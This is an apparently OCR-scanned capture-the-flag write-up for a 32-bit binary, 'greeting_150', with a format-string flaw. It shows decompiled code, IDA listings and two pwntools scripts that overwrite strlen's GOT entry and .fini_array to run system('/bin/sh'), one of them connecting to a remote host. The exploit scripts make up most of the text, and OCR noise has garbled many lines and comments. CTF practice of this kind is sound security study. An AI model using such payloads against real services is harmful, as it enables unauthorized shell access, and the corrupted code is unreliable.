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coke@ubuntu:~/5H/CTFworkstation/PWN/OADW/gretting_150% checksec greeting_150
[*] '/home/coke/ 51 /CTFworkstation/PWN/OADW/gretting 150/greeting_150'

Arch: i386-32-1little
RELRO: No RELRO

Stack: Canary found

NX: NX enabled

PIE: No PIE (@x8048000)
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int _ cdecl main(int argc, const char **argv, const char **envp)
{

char s[64]; // [esp+1Ch] [ebp-84h] BYREF
char v5[64]; // [esp+5Ch] [ebp-44h] BYREF
unsigned int v6; // [esp+9Ch] [ebp-4h]

v6 = _ readgsdword(0x14u); /] ELENEY
printf("Please tell me your name... ");
if ( !getnline(v5, 64) )

return puts("Don't ignore me ;( ");
sprintf(s, "Nice to meet you, %s :)\n", v5); // HFEHEEGAs KA
return printf(s); // B FRFE R
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size_t _ cdecl getnline(char *s, int n)

{

char *v3; // [esp+1Ch] [ebp-Ch]

fgets(s, n, stdin); 1/ MEERATGEInF 45

v3 = strchr(s, 10);

if (v3 )

*v3 = 0; // HEIERFS 20

return strlen(s); // B UL ER B Hsy s tem g EL
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.init_array:0804992C _ frame_dummy_init_array_entry dd offset frame_dummy

.init_array:0804992C ; DATA XREF: LOAD:0804809CTo
.init_array:0804992C ; _libc_csu_init+23%o0 ...
.init_array:0804992C dd offset nao ; Alternative name is ' init array start’

.init_array:0804992C _init_array ends
.init_array:0804992C
.fini_array:08049934 ; ELF Termination Function Table
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.fini_array:08049934 ; ELF Termination Function Table

Bl e a0 8OO OB = e e e e = e e s ——————
.fini_array:08049934

.fini_array:08049934 ; Segment type: Pure data

.fini_array:08049934 ; Segment permissions: Read/Write

.fini_array:08049934 fini_array segment dword public 'DATA' use32

.fini_array:08049934 assume cs:_fini_array

.fini_array:08049934 ;org 8049934h

.fini_array:08049934 _ do_global_dtors_aux_fini_array_entry dd offset _ do_global_dtors_aux
.fini_array:08049934 ; DATA XREF: __ 1libc_csu_init+18To
.fini_array:08049934 fini_array ends ; Alternative name is ' init array_end’

.fini_array:08049934
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#!/usr/bin/env python
#-*- coding:utf-8 -*-

from pwn import *

#sh=process('./greeting 150")
elf=ELF('./greeting 150")

context(os = 'linux',log level = 'debug')
strlen_got=elf.got[ 'strlen' |#NEBMKIEINgotR Bt
start_addr=0x080484Fo#it i bt
fini_addr=0x08049934#fini_addr

system_plt = 0x08048490 #systemiipltihit

payload="aa"
payload+=p32(strlen_got+2)
payload+=p32(strlen_got)
payload+=p32(fini_addr)
payload+="%2020c%12%$hn"
payload+="%31884c%13$hn"
payload+="%96c%14$hn"

sh.recvuntil('Please tell me your name... ')# FRHEKEN28
sh.sendline(payload)

sh.recvuntil('Please tell me your name... ')
sh.sendline('/bin/sh")

sh.interactive()
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#!/usr/bin/env python
#-*- coding:utf-8 -*-

from pwn import *
from pwnlib import *

p = remote("111.200.241.244","63317")
#p = remote("./greeting_150")
context.log_level = 'debug'

elf = ELF("./greeting_150")

strlen_got = elf.got|[ 'strlen']
main_addr = 0x80485ED #main ¥t
fini_addr = 0x8049934 #finiER ¥ KEM it
system_addr = 0x08048490 #systemfPLTHuE
def exec_fmt(pad):

io = process("./greeting 150")

# send &R sendlinebd &/ ik
io.sendline(pad)

return p.recv()
fmt = FmtStr(exec_fmt)
print("offset ===> ", fmt.offset)
#ATIHHEmBRE
payload = "aa"
payload += fmtstr_payload(12,{strlen_got:system_addr,fini_addr:main_addr}, numbwritten = 32)
print(payload)
p.sendlineafter("Please tell me your name... ",payload)
p.sendlineafter("Please tell me your name... ",'/bin/sh")
p.interactive()
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